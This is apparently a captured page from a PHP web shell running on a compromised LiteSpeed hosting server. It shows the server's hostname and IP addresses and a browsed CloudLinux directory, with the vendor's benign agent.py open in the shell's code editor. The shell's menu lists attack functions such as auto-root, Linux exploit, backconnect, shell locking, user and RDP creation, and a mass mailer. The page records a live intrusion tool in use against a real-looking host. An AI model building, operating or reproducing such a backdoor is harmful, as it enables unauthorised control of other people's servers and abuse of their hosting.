Linux boca.hozzt.com 4.18.0-553.8.1.lve.el8.x86_64 #1 SMP Thu Jul 4 16:24:39 UTC 2024 x86_64
LiteSpeed
: 159.253.39.62 | : 3.138.122.210
Cant Read [ /etc/named.conf ]
7.4.33
renovkoron
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
opt /
cloudlinux /
venv /
lib /
python3.11 /
site-packages /
ssa /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxr-xr-x
autotracing
[ DIR ]
drwxr-xr-x
configuration
[ DIR ]
drwxr-xr-x
internal
[ DIR ]
drwxr-xr-x
modules
[ DIR ]
drwxr-xr-x
ssa_utils
[ DIR ]
drwxr-xr-x
__init__.py
0
B
-rw-r--r--
agent.py
2.16
KB
-rw-r--r--
cloudlinux-autotracing.py
382
B
-rwxr-xr-x
cloudlinux-ssa-agent.py
374
B
-rwxr-xr-x
cloudlinux-ssa-manager.py
378
B
-rwxr-xr-x
db.py
5.96
KB
-rw-r--r--
manager.py
13.5
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : agent.py
# -*- coding: utf-8 -*- # Copyright © Cloud Linux GmbH & Cloud Linux Software, Inc 2010-2021 All Rights Reserved # # Licensed under CLOUD LINUX LICENSE AGREEMENT # http://cloudlinux.com/docs/LICENSE.TXT """ This module contains contains classes implementing SSA Agent behaviour """ import json import logging from threading import Thread, current_thread from .internal.constants import agent_sock from .internal.exceptions import SSAError from .internal.utils import create_socket from .modules.processor import RequestProcessor class SimpleAgent: """ SSA Simple Agent class """ def __init__(self): self.logger = logging.getLogger('agent') self.request_processor = RequestProcessor() # start serving incoming connections self.listen() def listen(self) -> None: """ Start listening socket """ _socket = create_socket(agent_sock) while True: connection, address = _socket.accept() t = Thread(target=self.handle, args=(connection,)) t.start() self.logger.debug('[%s] Started', t.name) def handle(self, connection: 'socket object') -> None: """ Handle incoming connection :param connection: socket object usable to send and receive data on the connection """ fileobj = connection.makefile(errors='ignore') try: input_data = self.read_input(fileobj) self.request_processor.handle(input_data) except SSAError as e: self.logger.error('Handled exception in [%s]: %s', current_thread().name, str(e)) pass connection.close() def read_input(self, fileio: 'file object') -> dict: """ Read input data and return decoded json :param fileio: a file-like object providing read method """ data = fileio.read() self.logger.info('[%s] I received %i bytes: %s', current_thread().name, len(data.encode()), data) if data: return json.loads(data.strip(), strict=False) else: return {}
Close